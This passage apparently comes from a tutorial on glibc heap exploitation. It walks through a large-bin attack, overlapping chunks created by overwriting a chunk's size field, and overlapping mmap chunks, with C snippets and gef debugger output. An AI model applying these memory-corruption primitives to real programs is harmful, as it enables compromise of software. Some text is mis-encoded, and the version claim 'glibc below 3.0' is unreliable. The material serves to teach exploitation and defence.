In the second step, we free the biggest chunk, however, the freed chunk is not in the large bin yet. As we discussed, the freed chunk was added to unsorted bins at first, so, The best way to move it into the large bin is to allocate a new bigger chunk. In this way, the heap manager checks the chunk inside the unsorted bin, then adds them into the corresponding bins (Like other attacks).

```
free(p2);
```

In the third step, we freed the smaller chunk. Now we have one chunk inside the large bin and one chunk in the unsorted bin.

```
unsorted\_bins[0]: fw=0x5555555596e0, bk=0x5555555596e0
Chunk(addr=0x5555555596f0, size=0x420, flags=PREV_INUSE)

large\_bins[63]: fw=0x555555559290, bk=0x555555559290
Chunk(addr=0x5555555592a0, size=0x430, flags=PREV_INUSE)
```

The next step is to put the target address - 0x20 in the p1-¿bk_nextsize . As we mentioned before, Just large bins chunk chunks use this pointer, they point to the next biggest chunk in the link list.

```
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
```

The last step is to allocate a bigger chunk, so, p2 will move to a larger chunk. When p2 move to large chunk, the heap manager write the address of p2 inside p1-¿bk_nextsize-¿fd_nextsize as the code of glibc show:

```
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
```

This attack works on glibc below 3.0.

3.5 Overlapping chunks

The goal is to have two chunks that write data in one of them and overwrite the other one data. We discuss this attack on a sample, first lest start 3 chunk of memory :

```
p1 = malloc(0x100 - 8);
   p2 = malloc(0x100 - 8);
   p3 = malloc(0x80 - 8);
```

```
Chunk(addr=0x555555559010, size=0x100, flags=PREV_INUSE)
  [0x0000555555559010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
      1111111111111111]
Chunk(addr=0x555555559110, size=0x100, flags=PREV_INUSE)
  [0x0000555555559110 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00
      x.......x.......]
Chunk(addr=0x555555559210, size=0x80, flags=)
  [0x0000555555559210 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
      3333333333333333]
```

Now lets free() the second chunk, As we discuss, This chunk add to the unsorted bin at first, then, It can be used for future allocation :

```
free(p2).
```

```
unsorted_bins[0]: fw=0x555555559100, bk=0x555555559100
Chunk(addr=0x555555559110, size=0x100, flags=PREV\_INUSE)
```

```
Chunk(addr=0x555555559010, size=0x100, flags=PREV_INUSE)
  [0x0000555555559010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
      1111111111111111]
Chunk(addr=0x555555559110, size=0x100, flags=PREV_INUSE)
  [0x0000555555559110 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00
      x.......x.......]
Chunk(addr=0x555555559210, size=0x80, flags=)
  [0x0000555555559210 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
      3333333333333333]
Chunk(addr=0x555555559290, size=0x20d80, flags=PREV\_INUSE) top chunk
```

In the next step, as we did before, We have to change the chunk size by overflow :

```
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
*(p2-1) = evil_chunk_size;
```

```
Chunk(addr=0x555555559010, size=0x100, flags=PREV_INUSE)
```

```
  [0x0000555555559010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
     1111111111111111]
Chunk(addr=0x555555559110, size=0x180, flags=PREV_INUSE)
  [0x0000555555559110 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00
     x.......x.......]

unsorted_bins[0]: fw=0x555555559100, bk=0x555555559100
 Chunk(addr=0x555555559110, size=0x180, flags=PREV_INUSE)
```

As you remember, currently, p2 located at the unsorted bin, also, we change the size of p2, so, the heap manager return p2 when receives an allocation request, as the result, p2 has overlap with previous chunks :

```
p4 = malloc(evil_region_size);
```

```

Chunk(addr=0x555555559010, size=0x100, flags=PREV_INUSE)
  [0x0000555555559010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
     1111111111111111]
Chunk(addr=0x555555559110, size=0x180, flags=PREV_INUSE)
  [0x0000555555559110 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00
     x.......x.......]
```

```

gef: p p4
$11 = (intptr_t *) 0x555555559110
gef: p p2
$12 = (intptr_t *) 0x555555559110
gef: p p1
$13 = (intptr_t *) 0x555555559010
gef: p p3
$14 = (intptr_t *) 0x555555559210
```

As you can see, p3 is not in the list of chunks anymore, however, the pointer still accessible inside the application. Now the p3 and p4 have overlap, so, write data on one of them overwrite the other one data What happened if the chunk size was so big? As we mentioned, the system uses mmap in this scenario. Take consider the following code :

```

int* ptr1 = malloc(0x10);
long long* top_ptr = malloc(0x100000);
```

```
long long* mmap_chunk_2 = malloc(0x100000);
long long* mmap_chunk_3 = malloc(0x100000);
```

Heap layout after allocation

```
Chunk(addr=0x555555559010, size=0x20, flags=PREV_INUSE)
  [0x0000555555559010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
     ................]
Chunk(addr=0x555555559030, size=0x410, flags=PREV_INUSE)
  [0x0000555555559030 0a 43 75 72 72 65 6e 74 20 53 79 73 74 65 6d 20 .Current
     System ]
Chunk(addr=0x555555559440, size=0x20bd0, flags=PREV_INUSE) top chunk
```

```
gef: p mmap_chunk_2
$1 = (long long *) 0x7ffff7935010
gef: p mmap_chunk_3
$2 = (long long *) 0x7ffff7834010
gef: p top_ptr
$3 = (long long *) 0x7ffff7ef2010
```

Like the previous one, we change the size of the last chunk. The new chunk size is the sum of the size of chunk_3 and chunk_2, as the result, the unmmap freezes both areas.

```
free(mmap_chunk_3)
```

In this stage if we allocate a new big chunk, this new big chunk has overlap with chunk_2 which just has been unmmap without call unmmap directly, as the result, we can write on the chunk2 area with the help of our new chunk.

Chapter 4

Conclusion